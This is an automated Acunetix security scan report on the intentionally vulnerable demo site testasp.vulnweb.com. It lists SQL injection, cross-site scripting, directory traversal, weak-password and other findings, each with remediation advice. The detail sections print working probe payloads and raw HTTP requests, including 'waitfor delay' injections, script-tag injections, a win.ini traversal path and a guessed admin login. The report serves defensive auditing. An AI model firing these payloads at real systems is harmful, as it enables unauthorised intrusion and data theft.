Developer Report

Acunetix Security Audit

27 May 2019

Scan of testasp.vulnweb.com

Scan details

Scan information	
Start time	27/05/2019, 03:47:58
Start url	http://testasp.vulnweb.com/
Host	testasp.vulnweb.com
Scan time	21 minutes, 20 seconds
Profile	Full Scan
Server information	Microsoft-IIS/8.5
Responsive	True
Server OS	Windows
Server technologies	ASP

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	26
High	10
Medium	9
Low	4
Informational	3

Alerts summary

Blind SQL Injection

Classification	
CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 10.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: High Integrity Impact: High Availability Impact: None
CWE	CWE-89

Affected items	Variation
/Login.asp	1
/showforum.asp	2
/showthread.asp	1

Cross site scripting

Classification	
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined

CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None
CWE	CWE-79

Affected items	Variation
/Search.asp	3

Directory traversal

Classification	
CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None
CWE	CWE-22

Affected items	Variation
/Templatize.asp	1

Script source code disclosure

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined

CWE	CWE-538	
Affected items		Variation
/Templatize.asp		1

Weak password

Classification	
CVSS2	Base Score: 7.5 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
/Login.asp	1

HTML form without CSRF protection

Classification	
CVSS2	Base Score: 2.6 Access Vector: Network_accessible Access Complexity: High Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 4.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None

CWE	CWE-352	

Affected items	Variation
Web Server	1
/Login.asp	1
/Register.asp	1
/Search.asp	1
/showforum.asp	1

URL redirection

Classification	
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CWE	CWE-601

Affected items	Variation
/Logout.asp	1

User credentials are sent in clear text

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: High Remediation Level: Workaround Report Confidence: Confirmed Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined

CVSS3	Base Score: 9.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: High Availability Impact: None
CWE	CWE-310

Affected items	Variation
Web Server	1
/Login.asp	1
/Register.asp	1

ASP.NET version disclosure

Classification	
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
Web Server	1

Clickjacking: X-Frame-Options header missing

Classification

CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-693

Affected items	Variation
Web Server	1

Login page password-guessing attack

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: Low
CWE	CWE-307

Affected items	Variation
/Login.asp	1
/Register.asp	1

Content Security Policy (CSP) not implemented

Classification

CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16

Affected items	Variation
Web Server	1

Microsoft IIS version disclosure

Classification	
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
Web Server	1

Password type input with auto-complete enabled

Classification

CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200

Affected items	Variation
Web Server	1

Alerts details

Blind SQL Injection

Severity	**High**
Reported by module	/Scripts/PerScheme/Blind_Sql_Injection.script

Description

SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.

Impact

An attacker can use SQL injection it to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.

Recommendation

Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.

References

SQL Injection (SQLi) - Acunetix (https://www.acunetix.com/websitesecurity/sql-injection/)
Types of SQL Injection (SQLi) - Acunetix (https://www.acunetix.com/websitesecurity/sql-injection2/)
Prevent SQL injection vulnerabilities in PHP applications and fix them - Acunetix (prevent-sql-injection-vulnerabilities-in-php-applications/)
SQL Injection - OWASP (https://www.owasp.org/index.php/SQL_Injection)
Bobby Tables: A guide to preventing SQL injection (http://bobby-tables.com/)

Affected items

/Login.asp
Details
URL encoded POST input **tfUName** was set to **APZxjI5e'; waitfor delay '0:0:0' --** Tests performed: • b2oyNzD8'; waitfor delay '0:0:3' -- => **3.546** • A7bBcyOE'; waitfor delay '0:0:6' -- => **6.546** • ZbL9s6LR'; waitfor delay '0:0:0' -- => **0.563** • xauwQ9OO'; waitfor delay '0:0:9' -- => **9.552** • ChJGvL2j'; waitfor delay '0:0:0' -- => **0.569** • ZXKsh5Z2'; waitfor delay '0:0:0' -- => **0.535** • w6yM5I2I'; waitfor delay '0:0:0' -- => **0.555** • cREC7xzo'; waitfor delay '0:0:6' -- => **6.56** • APZxjI5e'; waitfor delay '0:0:0' -- => **0.539** Original value: **g00dPa$$w0rD**
Request headers

```
POST /Login.asp?RetURL=ikgzMOBX HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=DNKJOCPAABCMFBJCNKPFOFFA
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 78
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
tfUName=APZxjI5e';%20waitfor%20delay%20'0:0:0'%20--%20&tfUPass=/Default.asp%3F
```

/showforum.asp

Details

URL encoded GET input **id** was set to **-1 OR 3*2*1=6 AND 00029=00029 --**

Tests performed:

- -1 OR 2+29-29-1=0+0+0+1 -- => **TRUE**
- -1 OR 3+29-29-1=0+0+0+1 -- => **FALSE**
- -1 OR 3*2<(0+5+29-29) -- => **FALSE**
- -1 OR 3*2>(0+5+29-29) -- => **FALSE**
- -1 OR 2+1-1-1=1 AND 00029=00029 -- => **TRUE**
- -1 OR 00029=00029 AND 3+1-1-1=1 -- => **FALSE**
- -1 OR 3*2=5 AND 00029=00029 -- => **FALSE**
- -1 OR 3*2=6 AND 00029=00029 -- => **TRUE**
- -1 OR 3*2*0=6 AND 00029=00029 -- => **FALSE**
- -1 OR 3*2*1=6 AND 00029=00029 -- => **TRUE**

Original value: **0**

Request headers

```
GET /showforum.asp?id=-1%20OR%203*2*1=6%20AND%2000029=00029%20--%20 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=GOCJOCPAOMKGFJKHBKDBFDOE
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

/showforum.asp

Details

URL encoded GET input **id** was set to **-1 OR 3*2*1=6 AND 000197=000197 --**

Tests performed:

- -1 OR 2+197-197-1=0+0+0+1 -- => **TRUE**
- -1 OR 3+197-197-1=0+0+0+1 -- => **FALSE**
- -1 OR 3*2<(0+5+197-197) -- => **FALSE**
- -1 OR 3*2>(0+5+197-197) -- => **FALSE**
- -1 OR 2+1-1-1=1 AND 000197=000197 -- => **TRUE**
- -1 OR 000197=000197 AND 3+1-1-1=1 -- => **FALSE**
- -1 OR 3*2=5 AND 000197=000197 -- => **FALSE**
- -1 OR 3*2=6 AND 000197=000197 -- => **TRUE**
- -1 OR 3*2*0=6 AND 000197=000197 -- => **FALSE**
- -1 OR 3*2*1=6 AND 000197=000197 -- => **TRUE**

Original value: **Mr.**

Request headers

```
POST /showforum.asp?id=-1%20OR%203*2*1=6%20AND%20000197=000197%20--%20 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=BIMJOCPAFGNIDFOMGPCNIJJA
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 22
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
tfSubject=555&tfText=1
```

/showthread.asp

Details

URL encoded GET input **id** was set to **-1; waitfor delay '0:0:0' --**

Tests performed:

- -1; waitfor delay '0:0:3' -- => **3.245**
- -1; waitfor delay '0:0:0' -- => **0.253**
- -1; waitfor delay '0:0:9' -- => **9.261**
- -1; waitfor delay '0:0:6' -- => **6.244**
- -1; waitfor delay '0:0:0' -- => **0.228**
- -1; waitfor delay '0:0:0' -- => **0.231**
- -1; waitfor delay '0:0:0' -- => **0.243**
- -1; waitfor delay '0:0:6' -- => **6.237**
- -1; waitfor delay '0:0:0' -- => **0.238**

Original value: **0**

Request headers

```
GET /showthread.asp?id=-1;%20waitfor%20delay%20'0:0:0'%20--%20 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=DNKJOCPAABCMFBJCNKPFOFFA
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

Cross site scripting

Severity	**High**
Reported by module	/Scripts/PerScheme/XSS.script

Description

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

Impact

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.

Recommendation

Apply context-dependent encoding and/or validation to user input rendered on a page

References

Cross-site Scripting (XSS) Attack - Acunetix (https://www.acunetix.com/websitesecurity/cross-site-scripting/)
Types of XSS - Acunetix (https://www.acunetix.com/websitesecurity/xss/)
Cross-site Scripting - OWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)
XSS Filter Evasion Cheat Sheet (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
Excess XSS, a comprehensive tutorial on cross-site scripting (https://excess-xss.com/)
Cross site scripting (http://en.wikipedia.org/wiki/Cross-site_scripting)

Affected items

/Search.asp

Verified vulnerability

Details

URL encoded GET input **tfSearch** was set to **1"><script>RsHD(9194)</script>**

The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /Search.asp?tfSearch=1"><script>RsHD(9194)</script> HTTP/1.1
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=BIMJOCPAFGNIDFOMGPCNIJJA
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

/Search.asp

Verified vulnerability

Details

URL encoded GET input **tfSearch** was set to **1"><script>4ufZ(9208)</script>**

The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /Search.asp?tfSearch=1"><script>4ufZ(9208)</script>&tfSearch=the HTTP/1.1
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=BIMJOCPAFGNIDFOMGPCNIJJA
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

/Search.asp

Verified vulnerability

Details

URL encoded GET input **tfSearch** was set to **the"><script>obUH(9845)</script>**

The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /Search.asp?tfSearch=the"><script>obUH(9845)</script> HTTP/1.1
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=BIMJOCPAFGNIDFOMGPCNIJJA
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

Directory traversal

Severity	**High**
Reported by module	/Scripts/PerScheme/Directory_Traversal.script

Description

This script is possibly vulnerable to directory traversal attacks.

Directory Traversal is a vulnerability which allows attackers to access restricted directories and read files outside of the web server's root directory.

Impact

By exploiting directory traversal vulnerabilities, attackers step out of the root directory and access files in other directories. As a result, attackers might view restricted files or execute commands, leading to a full compromise of the Web server.

Recommendation

Your script should filter metacharacters from user input.

References

[Acunetix Directory Traversal Attacks (http://www.acunetix.com/websitesecurity/directory-traversal/)](http://www.acunetix.com/websitesecurity/directory-traversal/)

Affected items

/Templatize.asp

Details

URL encoded GET input **item** was set to **../../../../../../../../../../windows/win.ini**

File contents found:

```
; for 16-bit app support
```

Request headers

```
GET /Templatize.asp?item=../../../../../../../../../../windows/win.ini HTTP/1.1
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=EDGJOCPAGAKMGFPIJGHNODFC
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

Script source code disclosure

Severity	**High**

Reported by module	/Scripts/PerScheme/Script_Source_Code_Disclosure.script

Description

It is possible to read the source code of this script by using script filename as a parameter. It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.

Impact

An attacker can gather sensitive information (database connection strings, application logic) by analyzing the source code. This information can be used to launch further attacks.

Recommendation

Analyze the source code of this script and solve the problem.

References

[Source Code Disclosure (http://www.imperva.com/resources/glossary?term=source_code_disclosure)](http://www.imperva.com/resources/glossary?term=source_code_disclosure)

Affected items

/Templatize.asp

Details

URL encoded GET input **item** was set to **Templatize.asp**
Pattern found:

```
<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html
<html><!-- InstanceBegin template="/Templates/MainTemplate.dwt.asp" codeOutsideHTMLIsLock
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<title>Untitled Document</title>
<!-- InstanceEndEditable -->
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable ...
```

Request headers

```
GET /Templatize.asp?item=Templatize.asp HTTP/1.1
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=EDGJOCPAGAKMGFPIJGHNODFC
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

Weak password

Severity	**High**
Reported by module	/Scripts/PerScheme/Html_Authentication_Audit.script

Description

This page is using a weak password. Acunetix was able to guess the credentials required to access this page. A weak password is short, common, a system default, or something that could be rapidly guessed by executing a brute force attack using a subset of all possible passwords, such as words in the dictionary, proper names, words based on the user name or common variations on these themes.

Impact

An attacker may access the contents of the password-protected page.

Recommendation

Enforce a strong password policy. Don't permit weak passwords or passwords based on dictionary words.

References

[Wikipedia - Password strength (http://en.wikipedia.org/wiki/Password_strength)](http://en.wikipedia.org/wiki/Password_strength)
[Authentication Hacking Attacks (http://www.acunetix.com/websitesecurity/authentication/)](http://www.acunetix.com/websitesecurity/authentication/)

Affected items

/Login.asp
Details
Username: **admin**, Password: **none**.
Request headers

```
POST /Login.asp?RetURL=ikgzMOBX HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testasp.vulnweb.com/
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 26
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
tfUName=admin&tfUPass=none
```

HTML form without CSRF protection

Severity	**Medium**
Reported by module	/Crawler/12-Crawler_Form_NO_CSRF.js

Description

This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser.

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Impact

An attacker could use CSRF to trick a victim into accessing a website hosted by the attacker, or clicking a URL containing malicious or unauthorized requests.

CSRF is a type of 'confused deputy' attack which leverages the authentication and authorization of the victim when the forged request is being sent to the web server. Therefore, if a CSRF vulnerability could affect highly privileged users such as administrators full application compromise may be possible.

Recommendation

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary.

The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes.

- The anti-CSRF token should be unique for each user session
- The session should automatically expire after a suitable amount of time
- The anti-CSRF token should be a cryptographically random value of significant length
- The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm
- The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent)
- The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.

References

[What is Cross Site Reference Forgery (CSRF)? (https://www.acunetix.com/websitesecurity/csrf-attacks/)](https://www.acunetix.com/websitesecurity/csrf-attacks/)
[Cross-Site Request Forgery (CSRF) Prevention Cheatsheet (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet)
[The Cross-Site Request Forgery (CSRF/XSRF) FAQ (http://www.cgisecurity.com/csrf-faq.html)](http://www.cgisecurity.com/csrf-faq.html)
[Cross-site Request Forgery (https://en.wikipedia.org/wiki/Cross-site_request_forgery)](https://en.wikipedia.org/wiki/Cross-site_request_forgery)

Affected items

Web Server

Details

Request headers

```
GET /Search.asp HTTP/1.1
Cookie: ASPSESSIONIDAQQQADDT=GCJJOCPACKFHCGALHPHFGPCB
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
```

/Login.asp

Details

Request headers

```
GET /Login.asp?RetURL=/Default.asp%3F HTTP/1.1
Cookie: ASPSESSIONIDAQQQADDT=GOCJOCPAOMKGFJKHBKDBFDOE
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
```

/Register.asp

Details

Request headers

```
GET /Register.asp?RetURL=/Default.asp%3F HTTP/1.1
Cookie: ASPSESSIONIDAQQQADDT=GOCJOCPAOMKGFJKHBKDBFDOE
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
```

/Search.asp

Details

Request headers

```
GET /Search.asp?tfSearch= HTTP/1.1
Cookie: ASPSESSIONIDAQQQADDT=DNKJOCPAABCMFBJCNKPFOFFA
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
```

/showforum.asp
Details

Request headers

```
GET /showforum.asp?id=1 HTTP/1.1
Cookie: ASPSESSIONIDAQQQADDT=GCJJOCPACKFHCGALHPHFGPCB
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
```

URL redirection

Severity	**Medium**
Reported by module	/Scripts/PerScheme/XFS_and_Redir.script

Description

This script is possibly vulnerable to URL redirection attacks.

URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site they are visiting.

Impact

A remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.

Recommendation

Your script should properly sanitize user input.

References

Unvalidated Redirects and Forwards Cheat Sheet
(https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet)
HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
(http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf)

Affected items

/Logout.asp
Details
URL encoded GET input **RetURL** was set to **http://xfs.bxss.me**
Request headers

```
GET /Logout.asp?RetURL=http://xfs.bxss.me HTTP/1.1
Connection: keep-alive
Cookie: ASPSESSIONIDAQQQADDT=BIMJOCPAFGNIDFOMGPCNIJJA
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
```

User credentials are sent in clear text

Severity	**Medium**
Reported by module	/Crawler/12-Crawler_User_Credentials_Plain_Text.js

Description

User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.

Impact

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

Recommendation

Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).

Affected items

Web Server

Details

Request headers

```
GET /Register.asp HTTP/1.1
Cookie: ASPSESSIONIDAQQQADDT=GCJJOCPACKFHCGALHPHFGPCB
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
```

/Login.asp

Details

Request headers

```
GET /Login.asp?RetURL=/Default.asp%3F HTTP/1.1
Cookie: ASPSESSIONIDAQQQADDT=GOCJOCPAOMKGFJKHBKDBFDOE
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
```

/Register.asp

Details

Request headers

```
GET /Register.asp?RetURL=/Default.asp%3F HTTP/1.1
Cookie: ASPSESSIONIDAQQQADDT=GOCJOCPAOMKGFJKHBKDBFDOE
Accept: */*
Accept-Encoding: gzip,deflate
Host: testasp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive
```

ASP.NET version disclosure

Severity	**Low**
Reported by module	/Scripts/PerServer/ASP_NET_Error_Message.script

Description

